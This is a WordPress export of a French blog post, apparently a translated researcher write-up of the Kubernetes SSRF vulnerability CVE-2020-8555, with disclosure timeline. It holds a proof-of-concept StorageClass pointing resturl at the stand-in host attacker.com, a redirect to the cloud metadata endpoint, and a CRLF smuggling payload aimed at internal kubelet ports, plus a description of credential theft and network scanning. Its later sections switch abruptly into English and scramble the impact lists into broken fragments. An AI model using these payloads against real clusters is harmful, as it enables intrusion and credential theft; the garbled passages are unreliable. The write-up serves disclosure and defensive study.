{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Quand il ne s'agit pas seulement d'une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Note de traduction.<\/b>: Les auteurs de cet article expliquent en d\u00e9tail comment ils ont r\u00e9ussi \u00e0 d\u00e9couvrir une vuln\u00e9rabilit\u00e9 <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> dans Kubernetes. Bien qu'elle semblait initialement peu dangereuse, sa criticit\u00e9 a \u00e9t\u00e9 maximale chez certains fournisseurs cloud en raison de divers facteurs. Plusieurs organisations ont g\u00e9n\u00e9reusement r\u00e9compens\u00e9 le travail des sp\u00e9cialistes.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Qui sommes-nous<\/h2>\n<p>\nNous sommes deux chercheurs fran\u00e7ais en s\u00e9curit\u00e9 qui ont d\u00e9couvert ensemble une vuln\u00e9rabilit\u00e9 dans Kubernetes. Nous sommes Brice Augras et Christophe Hauquiert, mais sur de nombreuses plateformes Bug Bounty, nous sommes connus sous les noms de Reeverzax et Hach respectivement :<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architecte Kubernetes chez Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Que s'est-il pass\u00e9?<\/h2>\n<p>\nCet article est notre fa\u00e7on de raconter comment un projet de recherche ordinaire s'est soudainement transform\u00e9 en la plus passionnante aventure de la vie des chasseurs de bugs (du moins jusqu'\u00e0 pr\u00e9sent).<\/p>\n<p>Comme vous le savez s\u00fbrement, les chasseurs de bugs ont quelques particularit\u00e9s :<\/p>\n<ul>\n<li> ils vivent de pizzas et de bi\u00e8re ;<\/li>\n<li> ils travaillent quand tout le monde dort.<\/li>\n<\/ul>\n<p>\nNous ne faisons pas exception \u00e0 ces r\u00e8gles : nous nous rencontrons g\u00e9n\u00e9ralement le week-end et passons des nuits blanches \u00e0 hacker. Mais l'une de ces nuits s'est termin\u00e9e de mani\u00e8re assez inhabituelle.<\/p>\n<p>Au d\u00e9part, nous avions pr\u00e9vu de nous rencontrer pour discuter de notre participation \u00e0 <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> le lendemain. En discutant de la s\u00e9curit\u00e9 de Kubernetes dans un environnement de service g\u00e9r\u00e9, nous nous sommes rappel\u00e9s d'une vieille id\u00e9e de SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) et avons d\u00e9cid\u00e9 d'essayer de l'utiliser comme sc\u00e9nario d'attaque.<\/p>\n<p>\u00c0 23 heures, nous nous sommes pench\u00e9s sur les recherches et sommes all\u00e9s nous coucher t\u00f4t le matin, plut\u00f4t satisfaits des r\u00e9sultats. C'est gr\u00e2ce \u00e0 ces recherches que nous sommes tomb\u00e9s sur le programme MSRC Bug Bounty et avons con\u00e7u un exploit avec \u00e9l\u00e9vation de privil\u00e8ges.<\/p>\n<p>Quelques semaines\/mois plus tard, notre r\u00e9sultat inattendu nous a permis de recevoir l'une des plus grandes r\u00e9compenses de l'histoire du programme Azure Cloud Bug Bounty \u2014 en plus de celle que nous avons obtenue de Kubernetes !<\/p>\n<p>Suite \u00e0 notre projet de recherche, le comit\u00e9 Kubernetes Product Security Committee a publi\u00e9 <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Nous souhaitons maintenant diffuser au maximum les informations sur la vuln\u00e9rabilit\u00e9 trouv\u00e9e. Nous esp\u00e9rons que vous appr\u00e9cierez cette d\u00e9couverte et partagerez les d\u00e9tails techniques avec d'autres membres de la communaut\u00e9 infosec !<\/p>\n<p>Alors, voici notre histoire\u2026<\/p>\n<h2>Contexte<\/h2>\n<p>\nPour comprendre pleinement le sens de ce qui s'est pass\u00e9, examinons d'abord comment Kubernetes fonctionne dans un environnement cloud g\u00e9r\u00e9.<\/p>\n<p>Lors de la cr\u00e9ation d'une instance de cluster Kubernetes dans un tel environnement, le fonctionnement de la couche de gestion est g\u00e9n\u00e9ralement pris en charge par le fournisseur de services cloud :<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La couche de gestion se situe dans le p\u00e9rim\u00e8tre du fournisseur de cloud, tandis que les n\u0153uds Kubernetes se trouvent dans le p\u00e9rim\u00e8tre du client.<\/i><\/p>\n<p>Un m\u00e9canisme de provisionnement dynamique des volumes est utilis\u00e9, qui fournit des volumes depuis un backend de stockage externe et les associe \u00e0 des PVC (persistent volume claim, c'est-\u00e0-dire une demande de volume).<\/p>\n<p>Ainsi, une fois que le PVC est cr\u00e9\u00e9 et associ\u00e9 \u00e0 un StorageClass dans le cluster K8s, le kube\/cloud controller manager prend en charge les actions ult\u00e9rieures concernant la fourniture du volume (son nom exact d\u00e9pend de la version). <i>(<b>Note de traduction.<\/b>: Nous avons d\u00e9j\u00e0 \u00e9crit sur le CCM en prenant l'exemple de son impl\u00e9mentation pour l'un des fournisseurs de cloud. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">ici<\/a><\/noindex>.)<\/i><\/p>\n<p>Il existe plusieurs types de provisioners pris en charge par Kubernetes : la plupart d'entre eux sont inclus dans <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">noyau de l'orchestrateur,<\/a><\/noindex>, et d'autres sont g\u00e9r\u00e9s par des provisioners suppl\u00e9mentaires qui sont h\u00e9berg\u00e9s dans des pods dans le cluster.<\/p>\n<p>Dans notre recherche, nous nous sommes concentr\u00e9s sur le m\u00e9canisme interne de provisionnement des volumes, illustr\u00e9 ci-dessous :<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La fourniture dynamique de volumes en utilisant le provisioner int\u00e9gr\u00e9 de Kubernetes<\/i><\/p>\n<p>En r\u00e9sum\u00e9, lorsque Kubernetes est d\u00e9ploy\u00e9 dans un environnement g\u00e9r\u00e9, le contr\u00f4le du controller manager est assur\u00e9 par le fournisseur de services cloud, mais la demande de cr\u00e9ation de volume (num\u00e9ro 3 sur le sch\u00e9ma ci-dessus) sort des limites du r\u00e9seau interne du fournisseur cloud. Et c'est l\u00e0 que la situation devient vraiment int\u00e9ressante !<\/p>\n<h2>Sc\u00e9nario de piratage<\/h2>\n<p>\nDans cette section, nous verrons comment nous avons exploit\u00e9 le flux de travail mentionn\u00e9 ci-dessus pour acc\u00e9der aux ressources internes du fournisseur de services cloud. De plus, nous montrerons comment certaines actions peuvent \u00eatre r\u00e9alis\u00e9es, par exemple, obtenir des identifiants internes ou proc\u00e9der \u00e0 une \u00e9l\u00e9vation de privil\u00e8ges.<\/p>\n<p>Une simple manipulation (dans ce cas, il s'agit de Service Side Request Forgery) a permis de sortir du p\u00e9rim\u00e8tre client dans les clusters de divers fournisseurs de services g\u00e9r\u00e9s par K8s.<\/p>\n<p>Dans nos recherches, nous nous sommes concentr\u00e9s sur le provisioner GlusterFS. Bien que la s\u00e9quence d'actions ult\u00e9rieure soit d\u00e9crite dans ce contexte, cette vuln\u00e9rabilit\u00e9 concerne \u00e9galement Quobyte, StorageOS et ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abus du m\u00e9canisme de provisionnement dynamique des volumes<\/i><\/p>\n<p>Lors de l'analyse de la classe de stockage <b>GlusterFS<\/b> dans le code source du client en Golang, nous <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">ont remarqu\u00e9<\/a><\/noindex>, ce qui, lors de la premi\u00e8re requ\u00eate HTTP (3) envoy\u00e9e lors de la cr\u00e9ation du volume, se trouve \u00e0 la fin de l'URL utilisateur dans le param\u00e8tre <code>resturl<\/code> la m\u00eame information que pour le conteneur ordinaire. <code>\/volumes<\/code>.<\/p>\n<p>Pour \u00e9liminer ce chemin suppl\u00e9mentaire, nous avons d\u00e9cid\u00e9 d'ajouter <code>#<\/code> -CommandName <code>resturl<\/code>. Voici la premi\u00e8re configuration YAML que nous avons utilis\u00e9e pour tester la vuln\u00e9rabilit\u00e9 \u00ab semi-aveugle \u00bb SSRF <i>(pour en savoir plus sur le SSRF semi-aveugle ou half-blind, par exemple, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">ici<\/a><\/noindex> \u2014 n.d.t.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nEnsuite, pour g\u00e9rer \u00e0 distance le cluster Kubernetes, nous avons utilis\u00e9 le binaire <b>kubectl<\/b>. En r\u00e8gle g\u00e9n\u00e9rale, les fournisseurs de cloud (Azure, Google, AWS, etc.) permettent d'obtenir des informations d'identification pour les utiliser avec cet utilitaire.<\/p>\n<p>Gr\u00e2ce \u00e0 cela, nous avons pu appliquer notre fichier \u00ab sp\u00e9cial \u00bb. Le kube-controller-manager a effectu\u00e9 la requ\u00eate HTTP r\u00e9sultante :<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>R\u00e9ponse du point de vue de l'attaquant<\/i><\/p>\n<p>Peu apr\u00e8s, nous avons \u00e9galement pu obtenir une r\u00e9ponse HTTP du serveur cible \u2014 via les commandes <code>describe pvc<\/code> ou <code>get events<\/code> dans kubectl. Et en effet : ce pilote Kubernetes est par d\u00e9faut trop bavard dans ses avertissements\/messages d'erreur\u2026<\/p>\n<p>Voici un exemple avec un lien vers <code>https:\/\/www.google.fr<\/code>, d\u00e9fini en tant que param\u00e8tre <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# ou vous pouvez utiliser kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDans le cadre de cette approche, nous \u00e9tions limit\u00e9s aux requ\u00eates de type <b>HTTP POST<\/b> et ne pouvions pas obtenir le contenu du corps de la r\u00e9ponse si le code retourn\u00e9 \u00e9tait <b>201<\/b>. Nous avons donc d\u00e9cid\u00e9 de mener des recherches suppl\u00e9mentaires et d'\u00e9largir ce sc\u00e9nario de piratage avec de nouvelles approches.<\/p>\n<h2>L'\u00e9volution de nos recherches<\/h2>\n<p><\/p>\n<ul>\n<li> Sc\u00e9nario avanc\u00e9 n\u00b01 : utilisation d'une redirection 302 depuis un serveur externe pour modifier la m\u00e9thode HTTP afin d'avoir un moyen plus flexible de collecter des donn\u00e9es internes.<\/li>\n<li> Sc\u00e9nario avanc\u00e9 n\u00b02 : automatisation de la num\u00e9risation LAN et d\u00e9couverte des ressources internes.<\/li>\n<li> Sc\u00e9nario avanc\u00e9 n\u00b03 : utilisation de HTTP CRLF + smuggling (\"contrebande\" de requ\u00eates) pour cr\u00e9er des requ\u00eates HTTP adapt\u00e9es et obtenir des donn\u00e9es extraites des logs du kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Sp\u00e9cifications techniques<\/h3>\n<p><\/p>\n<ul>\n<li> L'\u00e9tude a utilis\u00e9 Azure Kubernetes Service (AKS) avec Kubernetes version 1.12 dans la r\u00e9gion Europe du Nord.<\/li>\n<li> Les sc\u00e9narios d\u00e9crits ci-dessus ont \u00e9t\u00e9 ex\u00e9cut\u00e9s sur les derni\u00e8res versions de Kubernetes \u00e0 l'exception du troisi\u00e8me sc\u00e9nario, car il n\u00e9cessitait une version de Kubernetes compil\u00e9e avec Golang \u2264 1.12.<\/li>\n<li> Serveur externe de l'attaquant \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Sc\u00e9nario avanc\u00e9 n\u00b01 : redirection de la requ\u00eate HTTP POST en GET et obtention de donn\u00e9es sensibles<\/h3>\n<p>\nLa m\u00e9thode initiale a \u00e9t\u00e9 am\u00e9lior\u00e9e par la configuration du serveur de l'attaquant pour retourner <b>302 HTTP Retcode<\/b>, pour convertir la requ\u00eate POST en requ\u00eate GET (\u00e9tape 4 sur le sch\u00e9ma) :<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa premi\u00e8re requ\u00eate (3), \u00e9manant du client <b>GlusterFS<\/b> (Controller Manager), est de type POST. En suivant les \u00e9tapes suivantes, nous avons pu la transformer en GET :<\/p>\n<ul>\n<li> En tant que param\u00e8tre <code>resturl<\/code> dans StorageClass, il est sp\u00e9cifi\u00e9 <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> L'Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> r\u00e9pond avec un code d'\u00e9tat HTTP 302 avec l'en-t\u00eate Location suivant : <code>http:\/\/169.254.169.254<\/code>. Cela peut \u00eatre n'importe quelle autre ressource interne \u2014 dans ce cas, le lien de redirection est utilis\u00e9 uniquement \u00e0 titre d'exemple.<\/li>\n<li> Par d\u00e9faut <b>biblioth\u00e8que net\/http<\/b> Le Golang redirige la requ\u00eate et convertit POST en GET avec le code d'\u00e9tat 302, entra\u00eenant un envoi d'une requ\u00eate HTTP GET vers la ressource cible.<\/li>\n<\/ul>\n<p>\nPour lire le corps de la r\u00e9ponse HTTP, il faut faire <code>describe<\/code> de l'objet PVC :<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nVoici un exemple de r\u00e9ponse HTTP au format JSON que nous avons r\u00e9ussi \u00e0 obtenir :<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLes capacit\u00e9s de la vuln\u00e9rabilit\u00e9 trouv\u00e9e \u00e0 l'\u00e9poque \u00e9taient limit\u00e9es en raison des \u00e9l\u00e9ments suivants :<\/p>\n<ul>\n<li> L'impossibilit\u00e9 d'ins\u00e9rer des en-t\u00eates HTTP dans la requ\u00eate sortante.<\/li>\n<li> L'incapacit\u00e9 \u00e0 effectuer une requ\u00eate POST avec des param\u00e8tres dans le corps (ce qui est pratique pour demander la valeur d'une cl\u00e9 d'une instance etcd fonctionnant sur <b>2379<\/b> le port, si HTTP non s\u00e9curis\u00e9 est utilis\u00e9).<\/li>\n<li> L'incapacit\u00e9 \u00e0 obtenir le contenu du corps de la r\u00e9ponse lorsque le code d'\u00e9tat \u00e9tait de 200 et que la r\u00e9ponse n'avait pas de Content-Type JSON.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Sc\u00e9nario avanc\u00e9 n\u00b02 : scan du r\u00e9seau local<\/h3>\n<p>\nCette m\u00e9thode SSRF half-blind a ensuite \u00e9t\u00e9 utilis\u00e9e pour scanner le r\u00e9seau interne du fournisseur de services cloud et interroger divers services \u00e0 l'\u00e9coute (instance Metadata, Kubelet, etcd, etc.) bas\u00e9s sur les r\u00e9ponses <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nTout d'abord, les ports standards d'\u00e9coute des composants Kubernetes (8443, 10250, 10251, etc.) ont \u00e9t\u00e9 identifi\u00e9s, puis le processus de scan a d\u00fb \u00eatre automatis\u00e9.<\/p>\n<p>Constatant que cette m\u00e9thode de scan des ressources est tr\u00e8s sp\u00e9cifique et incompatible avec les scanners classiques et les outils SSRF, nous avons d\u00e9cid\u00e9 de cr\u00e9er nos propres workers dans un script bash, qui automatisent l'ensemble du processus.<\/p>\n<p>Par exemple, pour scanner plus rapidement la plage 172.16.0.0\/12 du r\u00e9seau interne, 15 workers \u00e9taient lanc\u00e9s en parall\u00e8le. La plage d'IP mentionn\u00e9e ci-dessus a \u00e9t\u00e9 choisie uniquement \u00e0 titre d'exemple et peut \u00eatre modifi\u00e9e pour un sous-r\u00e9seau IP sp\u00e9cifique du fournisseur de services.<\/p>\n<p>Pour scanner une seule adresse IP et un seul port, il est n\u00e9cessaire de proc\u00e9der comme suit :<\/p>\n<ul>\n<li> supprimer le StorageClass v\u00e9rifi\u00e9 pr\u00e9c\u00e9demment ;<\/li>\n<li> supprimer le Persistent Volume Claim pr\u00e9c\u00e9demment v\u00e9rifi\u00e9 ;<\/li>\n<li> changer les valeurs d'IP et de port dans <code>sc.yaml<\/code>;<\/li>\n<li> cr\u00e9er un StorageClass avec la nouvelle IP et le nouveau port ;<\/li>\n<li> cr\u00e9er un nouveau PVC ;<\/li>\n<li> extraire les r\u00e9sultats du scan en utilisant describe pour le PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Sc\u00e9nario avanc\u00e9 n\u00b03 : injection CRLF + smuggling HTTP dans les \u00ab anciennes \u00bb versions du cluster Kubernetes<\/h3>\n<p>\nSi, en plus, le fournisseur offrait aux clients des anciennes versions du cluster K8s <b>et<\/b> et leur donnait acc\u00e8s aux logs de kube-controller-manager, l'effet devenait encore plus marqu\u00e9.<\/p>\n<p>Il est en effet beaucoup plus facile pour un attaquant de modifier \u00e0 sa guise les requ\u00eates HTTP destin\u00e9es \u00e0 obtenir la r\u00e9ponse HTTP compl\u00e8te.<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPour r\u00e9aliser le dernier sc\u00e9nario, les conditions suivantes devaient \u00eatre remplies :<\/p>\n<ul>\n<li> L'utilisateur doit avoir acc\u00e8s aux logs du kube-controller-manager (comme c'est le cas par exemple dans Azure LogInsights).<\/li>\n<li> Le cluster Kubernetes doit utiliser une version de Golang inf\u00e9rieure \u00e0 1.12.<\/li>\n<\/ul>\n<p>\nNous avons d\u00e9ploy\u00e9 un environnement local simulant l'\u00e9change de donn\u00e9es entre le client Go GlusterFS et un faux serveur cible (nous nous abstiendrons de publier le PoC pour l'instant).<\/p>\n<p>Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">CVE-2020-10174<\/a><\/noindex>, touchant les versions de Golang inf\u00e9rieures \u00e0 1.12 et permettant aux hackers de mener des attaques de type HTTP smuggling\/CRLF.<\/p>\n<p>En combinant le SSRF half-blind d\u00e9crit pr\u00e9c\u00e9demment <b>ensemble<\/b> avec celui-ci, nous avons pu envoyer des requ\u00eates \u00e0 notre guise, y compris en rempla\u00e7ant les en-t\u00eates, la m\u00e9thode HTTP, les param\u00e8tres et les donn\u00e9es que kube-controller-manager traitait ensuite.<\/p>\n<p>Voici un exemple de \u00ab leurre \u00bb fonctionnel dans le param\u00e8tre <code>resturl<\/code> StorageClass qui met en \u0153uvre un tel sc\u00e9nario d'attaque :<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nCela entra\u00eene une erreur <b>r\u00e9ponse non sollicit\u00e9e<\/b>, message that is recorded in the controller logs. Thanks to the default enabled 'verbosity', the content of the HTTP response message is also saved there.<\/p>\n<p><img decoding=\"async\" alt=\"Quand il ne s&#039;agit pas seulement d&#039;une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nThis was our most effective 'bait' within the proof of concept.<\/p>\n<p>By using this approach, we were able to carry out some of the following attacks in clusters from various managed k8s providers: privilege escalation with credential acquisition on metadata instances, DoS attacks on the master through (unencrypted) HTTP requests to the master instances of etcd, and so on.<\/p>\n<h2>Cons\u00e9quences<\/h2>\n<p>\nIn the official statement from Kubernetes regarding the SSRF vulnerability we discovered, it was assigned a rating <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. When considering only the vulnerability related to the Kubernetes perimeter, the integrity vector <i>(integrity vector)<\/i> is classified as <b>TSSAA<\/b>.<\/p>\n<p>However, assessing the potential consequences in the context of a managed service environment (and this was the most interesting part of our research!) prompted us to reclassify the vulnerability to a rating <b>Critical CVSS10\/10<\/b> for many distributors.<\/p>\n<p>Below is additional information that will help understand what guided us in assessing potential consequences in cloud environments:<\/p>\n<h3>Int\u00e9grit\u00e9<\/h3>\n<p><\/p>\n<ul>\n<li> Remote command execution using acquired internal credentials.<\/li>\n<li> Reproducing the above scenario via IDOR (Insecure Direct Object Reference) with other resources found in the local network.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Confidentialit\u00e9<\/h3>\n<p><\/p>\n<ul>\n<li> A lateral movement attack <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">due to the theft of cloud credentials (e.g., metadata API).<\/a><\/noindex> Information gathering through local network scanning (determining SSH version, HTTP server version, \u2026).<\/li>\n<li> Collecting information about instances and infrastructure by querying internal APIs, such as the metadata API (<\/li>\n<li> Theft of client data using cloud credentials.<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> All exploit scenarios related to attack vectors on<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponibilit\u00e9<\/h3>\n<p>\nintegrity <b>, can be used for destructive actions and lead to master instances from the client perimeter (or any other) becoming unavailable.<\/b>, peuvent \u00eatre utilis\u00e9s \u00e0 des fins destructrices et entra\u00eener l'inaccessibilit\u00e9 des masters instances depuis le p\u00e9rim\u00e8tre client (ou tout autre).<\/p>\n<p>\u00c9tant donn\u00e9 que nous \u00e9tions dans un environnement K8s g\u00e9r\u00e9 et \u00e9valuions l'impact sur l'int\u00e9grit\u00e9, de nombreux sc\u00e9narios susceptibles d'affecter la disponibilit\u00e9 peuvent \u00eatre imagin\u00e9s. \u00c0 titre d'exemples suppl\u00e9mentaires, on peut citer la corruption de la base de donn\u00e9es etcd ou l'ex\u00e9cution d'un appel critique \u00e0 l'API Kubernetes.<\/p>\n<h2>Chronologie<\/h2>\n<p><\/p>\n<ul>\n<li> 6 d\u00e9cembre 2019 : envoi d'un message concernant une vuln\u00e9rabilit\u00e9 d\u00e9couverte au programme MSRC Bug Bounty.<\/li>\n<li> 3 janvier 2020 : un tiers a inform\u00e9 les d\u00e9veloppeurs de Kubernetes que nous travaillions sur un probl\u00e8me de s\u00e9curit\u00e9 et a demand\u00e9 \u00e0 ce qu'ils consid\u00e8rent le SSRF comme une vuln\u00e9rabilit\u00e9 in-core. Suite \u00e0 cela, nous avons soumis un rapport global avec des d\u00e9tails techniques sur la source du probl\u00e8me.<\/li>\n<li> 15 janvier 2020 : nous avons fourni aux d\u00e9veloppeurs de Kubernetes des rapports techniques et globaux \u00e0 leur demande (via la plateforme HackerOne).<\/li>\n<li> 15 janvier 2020 : les d\u00e9veloppeurs de Kubernetes nous ont inform\u00e9s que le SSRF half-blind + injection CRLF pour les versions pass\u00e9es \u00e9tait consid\u00e9r\u00e9 comme une vuln\u00e9rabilit\u00e9 in-core. Nous avons imm\u00e9diatement cess\u00e9 l'analyse des p\u00e9rim\u00e8tres d'autres fournisseurs : l'\u00e9quipe K8s s'occupait d\u00e9sormais de la cause profonde.<\/li>\n<li> 15 janvier 2020 : r\u00e9compense re\u00e7ue de MSRC via HackerOne.<\/li>\n<li> 16 janvier 2020 : le PSC (Product Security Committee) de Kubernetes a reconnu la vuln\u00e9rabilit\u00e9 et a demand\u00e9 \u00e0 la garder secr\u00e8te jusqu'\u00e0 la mi-mars en raison du grand nombre de victimes potentielles.<\/li>\n<li> 11 f\u00e9vrier 2020 : r\u00e9compense re\u00e7ue de Google VRP.<\/li>\n<li> 4 mars 2020 : r\u00e9compense re\u00e7ue de Kubernetes via HackerOne.<\/li>\n<li> 15 mars 2020 : la divulgation publique initialement pr\u00e9vue a \u00e9t\u00e9 report\u00e9e en raison de la situation COVID-19.<\/li>\n<li> 1er juin 2020 : d\u00e9claration conjointe de Kubernetes + Microsoft concernant la vuln\u00e9rabilit\u00e9.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Nous buvons de la bi\u00e8re et mangeons de la pizza \ud83d\ude42<\/li>\n<li> Nous avons d\u00e9couvert une vuln\u00e9rabilit\u00e9 in-core dans Kubernetes, m\u00eame si nous n'avions pas l'intention de le faire.<\/li>\n<li> Nous avons men\u00e9 une analyse suppl\u00e9mentaire dans les clusters de divers fournisseurs de services cloud et avons pu aggraver les d\u00e9g\u00e2ts caus\u00e9s par la vuln\u00e9rabilit\u00e9 pour obtenir des bonus suppl\u00e9mentaires incroyables.<\/li>\n<li> Dans cet article, vous trouverez de nombreux d\u00e9tails techniques. Nous serions ravis d'en discuter avec vous (Twitter : <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Il s'est av\u00e9r\u00e9 que toutes les formalit\u00e9s et la r\u00e9daction des rapports prennent beaucoup plus de temps que pr\u00e9vu.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Liens<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Groupe Google 